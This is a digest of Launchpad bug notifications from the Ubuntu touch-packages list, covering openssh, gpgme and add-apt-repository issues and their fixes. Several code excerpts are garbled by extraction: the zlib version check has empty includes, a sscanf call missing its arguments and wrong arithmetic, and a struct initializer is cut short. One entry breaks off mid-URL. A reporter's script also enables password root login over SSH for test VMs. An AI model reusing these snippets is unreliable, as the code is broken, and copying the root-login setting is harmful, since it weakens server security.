[Touch-packages] [Bug 2052618] Re: Missing sftp-server argument -m force_file_perms

[Colin Watson]

*** This bug is a duplicate of bug 1922130 ***
https://bugs.launchpad.net/bugs/1922130

** This bug has been marked a duplicate of bug 1922130
   Request addition of Fedora / Redhat "sftp-force-permissions" patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/2052618

Title:
  Missing sftp-server argument -m force_file_perms

Status in openssh package in Ubuntu:
  New

Bug description:
  In Centos, RHEL, ... openssh-server package with sftp-server has an option
  -m force_file_perms
  Sets explicit file permissions to be applied to newly-created files instead 
of the default or client requested mode. Numeric values include: 777, 755, 750, 
666, 644, 640, etc. Using both -m and -u switches makes the umask (-u) 
effective only for newly created directories and explicit mode (-m) for newly 
created files.

  This option is missing in Ubuntu 22.04.3 LTS 
  Code patch from Fedora:
  
https://src.fedoraproject.org/rpms/openssh/raw/f34/f/openssh-6.7p1-sftp-force-permission.patch

  SFTP put command is sending source filemask to the remote server as is.
  For shared folders there is a risk sender will generate a file, which another 
user can not read.
  That's why there is force_file_perms to force filemask on shared sftp 
accounts no matters what filemask had source file on client side.

  This feature is welcome to migrate from RHEL to Ubuntu.

  ProblemType: Bug
  DistroRelease: Ubuntu 22.04
  Package: openssh-server 1:8.9p1-3ubuntu0.6
  Uname: Linux 5.15.0-200.131.27.1.el9uek.x86_64 x86_64
  ApportVersion: 2.20.11-0ubuntu82.5
  Architecture: amd64
  CasperMD5CheckResult: unknown
  Date: Wed Feb  7 10:22:50 2024
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
  SourcePackage: openssh
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/2052618/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2053146] Re: openssh 8.9p1 for Jammy auth2-gss patch for gssapi-keyex method is slightly wrong

[Colin Watson]

I fixed this in Debian today in https://salsa.debian.org/ssh-
team/openssh/-/commit/0947dd466d64cabfb527d8326e2507f473373a32, uploaded
as part of 1:9.7p1-1.  You could possibly just merge 1:9.7p1-1 into
noble since it's mostly a bug-fix release, but failing that you could
cherry-pick the relevant change easily enough.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/2053146

Title:
  openssh 8.9p1 for Jammy auth2-gss patch for gssapi-keyex method is
  slightly wrong

Status in openssh package in Ubuntu:
  In Progress
Status in openssh source package in Jammy:
  In Progress
Status in openssh source package in Mantic:
  In Progress
Status in openssh source package in Noble:
  In Progress

Bug description:
  The Authmethod struct now have 4 entries but the initialization of the
  method_gsskeyex in the debian/patches/gssapi.patch only have 3
  entries.

  The struct was changed in upstream commit 
dbb339f015c33d63484261d140c84ad875a9e548 as
  ===
  @@ -104,7 +104,8 @@ struct Authctxt {
   
   struct Authmethod {
  char*name;
  -   int (*userauth)(struct ssh *);
  +   char*synonym;
  +   int (*userauth)(struct ssh *, const char *);
  int *enabled;
   };

  ===

  The incorrect code does
  ===
  +Authmethod method_gsskeyex = {
  +   "gssapi-keyex",
  +   userauth_gsskeyex,
  +   _authentication
  +};
  ===
  but should have a NULL between the "gssapi-keyex" string and userauth_gsskeyex

  
  This is now (change from Focal) causing gssapi-keyex to be disabled.

  
  ===
  lsb_release -rd
  Description:  Ubuntu 22.04.3 LTS
  Release:  22.04

  ===
  apt-cache policy openssh-server
  openssh-server:
Installed: 1:8.9p1-3ubuntu0.6
Candidate: 1:8.9p1-3ubuntu0.6
Version table:
   *** 1:8.9p1-3ubuntu0.6 500
  500 http://faiserver.hpc2n.umu.se/mirrors/ubuntu/ubuntu 
jammy-updates/main amd64 Packages
  500 http://faiserver.hpc2n.umu.se/mirrors/ubuntu/ubuntu 
jammy-security/main amd64 Packages
  100 /var/lib/dpkg/status
   1:8.9p1-3 500
  500 http://faiserver.hpc2n.umu.se/mirrors/ubuntu/ubuntu jammy/main 
amd64 Packages

  ===

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/2053146/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2049552] Re: [noble] ftbfs with new zlib 1.3

[Colin Watson]

You could probably just merge current Debian openssh rather than trying
to fix all these problems independently?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/2049552

Title:
  [noble] ftbfs with new zlib 1.3

Status in openssh package in Ubuntu:
  In Progress

Bug description:
  The zlib detection code seems faulty:

  checking for possibly buggy zlib... yes
  configure: error: *** zlib too old - check config.log ***
  Your reported zlib version has known security problems.  It's possible your
  vendor has fixed these problems without changing the version number.  If you
  are sure this is the case, you can disable the check by running
  "./configure --without-zlib-version-check".
  If you are in doubt, upgrade zlib to version 1.2.3 or greater.
  See http://www.gzip.org/zlib/ for details.

  | #include 
  | #include 
  | #include 
  |
  | int
  | main (void)
  | {
  |
  |   int a=0, b=0, c=0, d=0, n, v;
  |   n = sscanf(ZLIB_VERSION, "%d.%d.%d.%d", , , , );
  |   if (n != 3 && n != 4)
  |   exit(1);
  |   v = a*100 + b*1 + c*100 + d;
  |   fprintf(stderr, "found zlib version %s (%d)\n", ZLIB_VERSION, v);
  |
  |   /* 1.1.4 is OK */
  |   if (a == 1 && b == 1 && c >= 4)
  |   exit(0);
  |
  |   /* 1.2.3 and up are OK */
  |   if (v >= 1020300)
  |   exit(0);
  |
  |   exit(2);
  |
  |   ;
  |   return 0;
  | }

  Upstream bug report: https://bugzilla.mindrot.org/show_bug.cgi?id=3604

  Upstream fix (untested): https://github.com/openssh/openssh-
  portable/commit/cb4ed12ffc332d1f72d054ed92655b5f1c38f621

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/2049552/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2047082] Re: upgrading openssh-server always shows error: rescue-ssh.target is a disabled or a static unit not running, not starting it.

[Colin Watson]

https://salsa.debian.org/ssh-
team/openssh/-/commit/da06b7ef32c20de4dd18cd578025d96a9221984b

** Changed in: openssh (Ubuntu)
   Status: New => Fix Committed

** Changed in: openssh (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/2047082

Title:
  upgrading openssh-server always shows error: rescue-ssh.target is a
  disabled or a static unit not running, not starting it.

Status in openssh package in Ubuntu:
  Fix Committed

Bug description:
  In our project we regularly build Ubuntu VM images for current 23.10
  (stable). In https://github.com/cockpit-project/bots/issues/5691 we
  ran into an upgrade failure of openssh-server. It starts with the
  current cloud image and then apt upgrades it, with
  "DEBIAN_FRONTEND=noninteractive". openssh was updated a few days ago
  indeed:

Setting up openssh-server (1:9.3p1-1ubuntu3.1) ...
Creating SSH2 ECDSA key; this may take some time ...
256 SHA256:UqrRSpQNM7SIixVivYP/WwZRjt7Sv89P31W/Gxaf+Z8 root@ubuntu (ECDSA)
Creating SSH2 ED25519 key; this may take some time ...
256 SHA256:hy9AEDydfnZeY9nf9P4Sb90kx39Oqr101A6tz5j4RQw root@ubuntu (ED25519)
rescue-ssh.target is a disabled or a static unit not running, not starting 
it.
Could not execute systemctl: at /usr/bin/deb-systemd-invoke line 145.
dpkg: error processing package openssh-server (--configure):
 installed openssh-server package post-installation script subprocess 
returned error exit status 1

  I.e. of course that security update itself [1] didn't introduce the
  regression, but earlier VM builds just didn't have a pending openssh
  update -- looks like this has been a luring upgrade trap in the
  release already.

  As a first naïve reproducer I tried

apt update
DEBIAN_FRONTEND=noninteractive apt update openssh-server

  on our current VM (with the release version 1:9.3p1-1ubuntu3), and
  that worked fine. Same with installing all 9 available packages.
  rescue.target is loaded/inactive/static, as it should be. Updating
  without DEBIAN_FRONTEND does show me a conffile prompt about
  /etc/ssh/sshd_config, which is justified as we do modify the config:

# Allow root login with password
sed -i 's/^[# ]*PermitRootLogin .*/PermitRootLogin yes/' 
/etc/ssh/sshd_config
# Prevent SSH from hanging for a long time when no external network access
echo 'UseDNS no' >> /etc/ssh/sshd_config

  this also leads to a merge conflict. However, I suppose all of that is
  tangential to the rescue-ssh.target issue. In all my interactive
  upgrades, it seemed to handle that just fine:

Setting up openssh-server (1:9.3p1-1ubuntu3.1) ...
rescue-ssh.target is a disabled or a static unit not running, not starting 
it.

  So this seems to be related to the first-time installation of openssh-
  server -- it is part of the cloud image, but it does the host key
  generation during our image builds.

  So reproducing this is a bit tricky, but aside from that: Why does it
  even do this in the first place?

  # Automatically added by dh_installsystemd/13.11.6ubuntu1
  if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = 
"abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
  if [ -d /run/systemd/system ]; then
  systemctl --system daemon-reload >/dev/null || true
  if [ -n "$2" ]; then
  _dh_action=restart
  else
  _dh_action=start
  fi
  deb-systemd-invoke $_dh_action 'rescue-ssh.target' >/dev/null 
|| true
  fi
  fi

  It feels like the postinst should *never* try to start rescue-
  ssh.target. That's an alternative boot mode, and should never run un
  multi-user.target, isn't it?

  [1] https://launchpad.net/ubuntu/+source/openssh/1:9.3p1-1ubuntu3.1

  DistroRelease: Ubuntu 23.10
  PackageVersion: openssh-server 1:9.3p1-1ubuntu3.1

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/2047082/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2037595] Re: _gpgme_io_select breaks when more than 1024 file descriptors are open

[Colin Watson]

** Patch added: "patch for jammy"
   
https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/2037595/+attachment/5705027/+files/gpgme1.0_1.16.0-1.2ubuntu4.2.debdiff

** Changed in: gpgme1.0 (Ubuntu Focal)
 Assignee: (unassigned) => Colin Watson (cjwatson)

** Changed in: gpgme1.0 (Ubuntu Jammy)
 Assignee: (unassigned) => Colin Watson (cjwatson)

** Changed in: gpgme1.0 (Ubuntu Focal)
   Status: New => In Progress

** Changed in: gpgme1.0 (Ubuntu Focal)
   Importance: Undecided => High

** Changed in: gpgme1.0 (Ubuntu Jammy)
   Status: New => In Progress

** Changed in: gpgme1.0 (Ubuntu Jammy)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gpgme1.0 in Ubuntu.
https://bugs.launchpad.net/bugs/2037595

Title:
  _gpgme_io_select breaks when more than 1024 file descriptors are open

Status in gpgme1.0 package in Ubuntu:
  Fix Released
Status in gpgme1.0 source package in Focal:
  In Progress
Status in gpgme1.0 source package in Jammy:
  In Progress

Bug description:
  [Impact]

  Launchpad's buildd-manager is a complex event-driven daemon that
  manages several hundred builders on production.  As such, it can often
  end up with more than 1024 file descriptors open.  It also uses gpgme
  from time to time to fetch signing keys for PPAs when dispatching
  builds that involve PPAs.

  On focal (and also on jammy), this breaks because `_gpgme_io_select`
  is implemented using select(2), whose manual page says: "WARNING:
  select() can monitor only file descriptors numbers that are less than
  FD_SETSIZE (1024)—an unreasonably low limit for many modern
  applications—and this limitation will not change.  All modern
  applications should instead use poll(2) or epoll(7), which do not
  suffer this limitation."  This is exactly the limitation we're running
  into, resulting in mysterious "Too many open files" errors despite
  resource limits being set to more than comfortable values.

  Fortunately, this was fixed upstream in https://git.gnupg.org/cgi-
  
bin/gitweb.cgi?p=gpgme.git;a=commitdiff;h=8148237cb4ae20755c06a44d71761c7030973c3d,
  and lunar has that fix.  focal and jammy do not (there may be a
  similar problem with older LTSes too, but I only care about it back to
  focal).  buildd-manager currently runs on focal.

  We've been running buildd-manager with a cherry-picked fix from
  upstream for a few weeks now, and I'd like to get that SRUed back into
  Ubuntu so that we don't accidentally lose this patch in the event of a
  security update or similar.

  [Test Plan]

  William Grant provided this minimal reproducer:

  ```
  root@tmp:~# python3
  Python 3.8.10 (default, May 26 2023, 14:05:08)
  [GCC 9.4.0] on linux
  Type "help", "copyright", "credits" or "license" for more information.
  >>> import gpg
  >>> c = gpg.Context()
  >>> list(c.keylist())
  []
  >>> fs = []
  >>> for i in range(1024):
  ... fs.append(open('/dev/null'))
  ...
  >>> list(c.keylist())
  Traceback (most recent call last):
File "", line 1, in 
File "/usr/lib/python3/dist-packages/gpg/core.py", line 751, in keylist
  key = self.op_keylist_next()
File "/usr/lib/python3/dist-packages/gpg/core.py", line 1195, in 
op_keylist_next
  raise excp
File "/usr/lib/python3/dist-packages/gpg/core.py", line 1190, in 
op_keylist_next
  errorcheck(gpgme.gpgme_op_keylist_next(self.wrapped, ptr))
File "/usr/lib/python3/dist-packages/gpg/errors.py", line 129, in errorcheck
  raise GPGMEError(retval, extradata)
  gpg.errors.GPGMEError: GPGME: Too many open files
  ```

  [Where problems could occur]

  `_gpgme_io_select` is pretty central to gpgme, so if something is
  wrong the package will be pretty broken.  On the other hand, that also
  means any glaring problems are likely to be caught by the package's
  test suite.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/2037595/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2037595] Re: _gpgme_io_select breaks when more than 1024 file descriptors are open

[Colin Watson]

** Patch added: "patch for focal"
   
https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/2037595/+attachment/5705026/+files/gpgme1.0_1.13.1-7ubuntu2.2.debdiff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gpgme1.0 in Ubuntu.
https://bugs.launchpad.net/bugs/2037595

Title:
  _gpgme_io_select breaks when more than 1024 file descriptors are open

Status in gpgme1.0 package in Ubuntu:
  Fix Released
Status in gpgme1.0 source package in Focal:
  In Progress
Status in gpgme1.0 source package in Jammy:
  In Progress

Bug description:
  [Impact]

  Launchpad's buildd-manager is a complex event-driven daemon that
  manages several hundred builders on production.  As such, it can often
  end up with more than 1024 file descriptors open.  It also uses gpgme
  from time to time to fetch signing keys for PPAs when dispatching
  builds that involve PPAs.

  On focal (and also on jammy), this breaks because `_gpgme_io_select`
  is implemented using select(2), whose manual page says: "WARNING:
  select() can monitor only file descriptors numbers that are less than
  FD_SETSIZE (1024)—an unreasonably low limit for many modern
  applications—and this limitation will not change.  All modern
  applications should instead use poll(2) or epoll(7), which do not
  suffer this limitation."  This is exactly the limitation we're running
  into, resulting in mysterious "Too many open files" errors despite
  resource limits being set to more than comfortable values.

  Fortunately, this was fixed upstream in https://git.gnupg.org/cgi-
  
bin/gitweb.cgi?p=gpgme.git;a=commitdiff;h=8148237cb4ae20755c06a44d71761c7030973c3d,
  and lunar has that fix.  focal and jammy do not (there may be a
  similar problem with older LTSes too, but I only care about it back to
  focal).  buildd-manager currently runs on focal.

  We've been running buildd-manager with a cherry-picked fix from
  upstream for a few weeks now, and I'd like to get that SRUed back into
  Ubuntu so that we don't accidentally lose this patch in the event of a
  security update or similar.

  [Test Plan]

  William Grant provided this minimal reproducer:

  ```
  root@tmp:~# python3
  Python 3.8.10 (default, May 26 2023, 14:05:08)
  [GCC 9.4.0] on linux
  Type "help", "copyright", "credits" or "license" for more information.
  >>> import gpg
  >>> c = gpg.Context()
  >>> list(c.keylist())
  []
  >>> fs = []
  >>> for i in range(1024):
  ... fs.append(open('/dev/null'))
  ...
  >>> list(c.keylist())
  Traceback (most recent call last):
File "", line 1, in 
File "/usr/lib/python3/dist-packages/gpg/core.py", line 751, in keylist
  key = self.op_keylist_next()
File "/usr/lib/python3/dist-packages/gpg/core.py", line 1195, in 
op_keylist_next
  raise excp
File "/usr/lib/python3/dist-packages/gpg/core.py", line 1190, in 
op_keylist_next
  errorcheck(gpgme.gpgme_op_keylist_next(self.wrapped, ptr))
File "/usr/lib/python3/dist-packages/gpg/errors.py", line 129, in errorcheck
  raise GPGMEError(retval, extradata)
  gpg.errors.GPGMEError: GPGME: Too many open files
  ```

  [Where problems could occur]

  `_gpgme_io_select` is pretty central to gpgme, so if something is
  wrong the package will be pretty broken.  On the other hand, that also
  means any glaring problems are likely to be caught by the package's
  test suite.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/2037595/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2037595] [NEW] _gpgme_io_select breaks when more than 1024 file descriptors are open

[Colin Watson]

Public bug reported:

[Impact]

Launchpad's buildd-manager is a complex event-driven daemon that manages
several hundred builders on production.  As such, it can often end up
with more than 1024 file descriptors open.  It also uses gpgme from time
to time to fetch signing keys for PPAs when dispatching builds that
involve PPAs.

On focal (and also on jammy), this breaks because `_gpgme_io_select` is
implemented using select(2), whose manual page says: "WARNING: select()
can monitor only file descriptors numbers that are less than FD_SETSIZE
(1024)—an unreasonably low limit for many modern applications—and this
limitation will not change.  All modern applications should instead use
poll(2) or epoll(7), which do not suffer this limitation."  This is
exactly the limitation we're running into, resulting in mysterious "Too
many open files" errors despite resource limits being set to more than
comfortable values.

Fortunately, this was fixed upstream in https://git.gnupg.org/cgi-
bin/gitweb.cgi?p=gpgme.git;a=commitdiff;h=8148237cb4ae20755c06a44d71761c7030973c3d,
and lunar has that fix.  focal and jammy do not (there may be a similar
problem with older LTSes too, but I only care about it back to focal).
buildd-manager currently runs on focal.

We've been running buildd-manager with a cherry-picked fix from upstream
for a few weeks now, and I'd like to get that SRUed back into Ubuntu so
that we don't accidentally lose this patch in the event of a security
update or similar.

[Test Plan]

William Grant provided this minimal reproducer:

```
root@tmp:~# python3
Python 3.8.10 (default, May 26 2023, 14:05:08)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import gpg
>>> c = gpg.Context()
>>> list(c.keylist())
[]
>>> fs = []
>>> for i in range(1024):
... fs.append(open('/dev/null'))
...
>>> list(c.keylist())
Traceback (most recent call last):
  File "", line 1, in 
  File "/usr/lib/python3/dist-packages/gpg/core.py", line 751, in keylist
key = self.op_keylist_next()
  File "/usr/lib/python3/dist-packages/gpg/core.py", line 1195, in 
op_keylist_next
raise excp
  File "/usr/lib/python3/dist-packages/gpg/core.py", line 1190, in 
op_keylist_next
errorcheck(gpgme.gpgme_op_keylist_next(self.wrapped, ptr))
  File "/usr/lib/python3/dist-packages/gpg/errors.py", line 129, in errorcheck
raise GPGMEError(retval, extradata)
gpg.errors.GPGMEError: GPGME: Too many open files
```

[Where problems could occur]

`_gpgme_io_select` is pretty central to gpgme, so if something is wrong
the package will be pretty broken.  On the other hand, that also means
any glaring problems are likely to be caught by the package's test
suite.

** Affects: gpgme1.0 (Ubuntu)
 Importance: Undecided
 Status: Fix Released

** Affects: gpgme1.0 (Ubuntu Focal)
 Importance: High
 Assignee: Colin Watson (cjwatson)
 Status: In Progress

** Affects: gpgme1.0 (Ubuntu Jammy)
 Importance: High
 Assignee: Colin Watson (cjwatson)
 Status: In Progress

** Also affects: gpgme1.0 (Ubuntu Jammy)
   Importance: Undecided
   Status: New

** Also affects: gpgme1.0 (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Changed in: gpgme1.0 (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gpgme1.0 in Ubuntu.
https://bugs.launchpad.net/bugs/2037595

Title:
  _gpgme_io_select breaks when more than 1024 file descriptors are open

Status in gpgme1.0 package in Ubuntu:
  Fix Released
Status in gpgme1.0 source package in Focal:
  In Progress
Status in gpgme1.0 source package in Jammy:
  In Progress

Bug description:
  [Impact]

  Launchpad's buildd-manager is a complex event-driven daemon that
  manages several hundred builders on production.  As such, it can often
  end up with more than 1024 file descriptors open.  It also uses gpgme
  from time to time to fetch signing keys for PPAs when dispatching
  builds that involve PPAs.

  On focal (and also on jammy), this breaks because `_gpgme_io_select`
  is implemented using select(2), whose manual page says: "WARNING:
  select() can monitor only file descriptors numbers that are less than
  FD_SETSIZE (1024)—an unreasonably low limit for many modern
  applications—and this limitation will not change.  All modern
  applications should instead use poll(2) or epoll(7), which do not
  suffer this limitation."  This is exactly the limitation we're running
  into, resulting in mysterious "Too many open files" errors despite
  resource limits being set to more than comfortable values.

  Fortunately, this was fixed upstream in https://git.gnupg.org/cgi-
  
bin/gitweb.cgi?p=gpgme.git;a=commitdiff;h=8148237cb4ae20755c0

[Touch-packages] [Bug 2024926] Re: add-apt-repository has a misleading error message when the launchpad api is down

[Colin Watson]

Note that this was due to a very specialized kind of outage, namely
where the machine-readable API description file fetched from
api.launchpad.net refers to api.launchpad.test (which only exists in
some development setups and shouldn't be referred to from production).
This part of the problem was on us (the Launchpad team), and we've fixed
it.

It's also a little surprising, since we had other reports of clients
(including at least one that was also running Ubuntu 22.04) instead
raising the rather clearer `httplib2.error.ServerNotFoundError: Unable
to find the server at api.launchpad.test` (still a bit confusing of
course, but it points to the problem about as well as it can).  I don't
know why `socket.getaddrinfo` would raise `EBUSY` in this case, though.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/2024926

Title:
  add-apt-repository has a misleading error message when the launchpad
  api is down

Status in software-properties package in Ubuntu:
  New

Bug description:
  On Ubuntu 22.04.2
  Package software-properties-common 0.99.22.7
  During the launchpad outage on the 23rd June 2023, add-apt-repository was 
crashing with the following:
  Traceback (most recent call last):
File "/usr/bin/add-apt-repository", line 364, in 
  sys.exit(0 if addaptrepo.main() else 1)
File "/usr/bin/add-apt-repository", line 347, in main
  shortcut = handler(source, **shortcut_params)
File "/usr/lib/python3/dist-packages/softwareproperties/shortcuts.py", line 
40, in shortcut_handler
  return handler(shortcut, **kwargs)
File "/usr/lib/python3/dist-packages/softwareproperties/ppa.py", line 82, 
in __init__
  if self.lpppa.publish_debug_symbols:
File "/usr/lib/python3/dist-packages/softwareproperties/ppa.py", line 120, 
in lpppa
  self._lpppa = self.lpteam.getPPAByName(name=self.ppaname)
File "/usr/lib/python3/dist-packages/softwareproperties/ppa.py", line 107, 
in lpteam
  self._lpteam = self.lp.people(self.teamname)
File "/usr/lib/python3/dist-packages/softwareproperties/ppa.py", line 98, 
in lp
  self._lp = login_func("%s.%s" % (self.__module__, 
self.__class__.__name__),
File "/usr/lib/python3/dist-packages/launchpadlib/launchpad.py", line 494, 
in login_anonymously
  return cls(
File "/usr/lib/python3/dist-packages/launchpadlib/launchpad.py", line 230, 
in __init__
  super(Launchpad, self).__init__(
File "/usr/lib/python3/dist-packages/lazr/restfulclient/resource.py", line 
477, in __init__
  self._browser.get(root_resource), 'application/json')
File "/usr/lib/python3/dist-packages/lazr/restfulclient/_browser.py", line 
439, in get
  response, content = self._request(url, extra_headers=headers)
File "/usr/lib/python3/dist-packages/lazr/restfulclient/_browser.py", line 
389, in _request
  response, content = self._request_and_retry(
File "/usr/lib/python3/dist-packages/lazr/restfulclient/_browser.py", line 
359, in _request_and_retry
  response, content = self._connection.request(
File "/usr/lib/python3/dist-packages/httplib2/__init__.py", line 1725, in 
request
  (response, content) = self._request(
File "/usr/lib/python3/dist-packages/launchpadlib/launchpad.py", line 144, 
in _request
  response, content = super(LaunchpadOAuthAwareHttp, self)._request(
File "/usr/lib/python3/dist-packages/lazr/restfulclient/_browser.py", line 
184, in _request
  return super(RestfulHttp, self)._request(
File "/usr/lib/python3/dist-packages/httplib2/__init__.py", line 1441, in 
_request
  (response, content) = self._conn_request(conn, request_uri, method, body, 
headers)
File "/usr/lib/python3/dist-packages/httplib2/__init__.py", line 1363, in 
_conn_request
  conn.connect()
File "/usr/lib/python3/dist-packages/httplib2/__init__.py", line 1139, in 
connect
  address_info = socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM)
File "/usr/lib/python3.10/socket.py", line 955, in getaddrinfo
  for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
  OSError: [Errno 16] Device or resource busy

  
  This was misleading as it seemed to indicate a problem with the client and 
not with the server. The error message should be improved as to make it clear 
where the error is located.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/2024926/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2020560] Re: ssh.service and ssh.socket both running.

[Colin Watson]

I adjusted our documentation for the next Debian upload (which will get
merged into Ubuntu at some point and will close this bug then):

  https://salsa.debian.org/ssh-
team/openssh/-/commit/a183f4934873b0dd663177e1772090d1d7a6a631

** Changed in: openssh (Ubuntu)
   Status: Incomplete => Fix Committed

** Changed in: openssh (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/2020560

Title:
  ssh.service and ssh.socket both running.

Status in openssh package in Ubuntu:
  Fix Committed

Bug description:
  I am running Ubuntu 23.04. The out-of-the-box configuration allows SSH
  access on port 22. I wish to have ssh listen on both ports 22 and
  7022. The ssh_config file contains a comment that Ubuntu now uses
  socket activated connections and thus ignores the Port and
  ListenAddress entries. I looked up the ssh socket activation and found
  that I needed a /etc/systemd/system/ssh.socket.d directory that
  contains a listen.conf file. I created the directory and the
  listen.conf file that contains this.

  [Socket]
  # Uncomment the following line to turn of listening on port 22.
  #ListenStream=
  ListenStream=7022

  I then ran these two commands:
  sudo systemctl daemon-reload
  sudo systemctl restart ssh

  I then checked for port listeners:
  root# lsof -i -P -n | grep LISTEN
  systemd 1root  454u  IPv625979  0t0  TCP *:22 
(LISTEN)
  systemd-r 638 systemd-resolve   14u  IPv435332  0t0  TCP 
127.0.0.53:53 (LISTEN)
  systemd-r 638 systemd-resolve   16u  IPv435334  0t0  TCP 
127.0.0.54:53 (LISTEN)
  Xtigervnc 941   moose9u  IPv422485  0t0  TCP 
127.0.0.1:5902 (LISTEN)
  Xtigervnc 941   moose   10u  IPv622486  0t0  TCP 
[::1]:5902 (LISTEN)
  cupsd 2258639root6u  IPv6 33526334  0t0  TCP 
[::1]:631 (LISTEN)
  cupsd 2258639root7u  IPv4 33526335  0t0  TCP 
127.0.0.1:631 (LISTEN)
  sshd  3698765root3u  IPv625979  0t0  TCP *:22 
(LISTEN)

  I then discovered that both ssh.service and ssh.socket are running:
  root@/etc/netplan# systemctl status ssh.service
  ? ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: 
enabled)
  Drop-In: /etc/systemd/system/ssh.service.d
   ??00-socket.conf
   Active: active (running) since Tue 2023-05-23 11:17:29 EDT; 36min ago
  TriggeredBy: ? ssh.socket
 Docs: man:sshd(8)
   man:sshd_config(5)
  Process: 3698763 ExecStartPre=/usr/sbin/sshd -t (code=exited, 
status=0/SUCCESS)
 Main PID: 3698765 (sshd)
Tasks: 3 (limit: 38046)
   Memory: 3.6M
  CPU: 206ms
   CGroup: /system.slice/ssh.service
   ??3698765 "sshd: /usr/sbin/sshd -D [listener] 1 of 10-100 
startups"
   ??3777496 "sshd: root [priv]"
   ??3777497 "sshd: root [net]"

  May 23 11:51:44 alces sshd[3771657]: ...
  Hint: Some lines were ellipsized, use -l to show in full.
  root@/etc/netplan# systemctl status ssh.socket
  ? ssh.socket - OpenBSD Secure Shell server socket
   Loaded: loaded (/lib/systemd/system/ssh.socket; enabled; preset: enabled)
  Drop-In: /etc/systemd/system/ssh.socket.d
   ??listen.conf
   Active: active (running) since Mon 2023-05-15 09:23:44 EDT; 1 week 1 day 
ago
Until: Mon 2023-05-15 09:23:44 EDT; 1 week 1 day ago
 Triggers: ? ssh.service
   Listen: [::]:22 (Stream)
   [::]:7022 (Stream)
Tasks: 0 (limit: 38046)
   Memory: 8.0K
  CPU: 569us
   CGroup: /system.slice/ssh.socket

  May 15 09:23:44 alces systemd[1]: ...
  Hint: Some lines were ellipsized, use -l to show in full.

  
  Finally, I found that /lib/systemd/system contains both ssh.service and 
ssh.socket configurations.
  ssh.service:
  [Unit]
  Description=OpenBSD Secure Shell server
  Documentation=man:sshd(8) man:sshd_config(5)
  After=network.target auditd.service
  ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

  [Service]
  EnvironmentFile=-/etc/default/ssh
  ExecStartPre=/usr/sbin/sshd -t
  ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
  ExecReload=/usr/sbin/sshd -t
  ExecReload=/bin/kill -HUP $MAINPID
  KillMode=process
  Restart=on-failure
  RestartPreventExitStatus=255
  Type=notify

  [Install]
  WantedBy=multi-user.target
  Alias=sshd.service

  ssh.socket:
  [Unit]
  Description=OpenBSD Secure Shell server socket
  Before=sockets.target
  ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

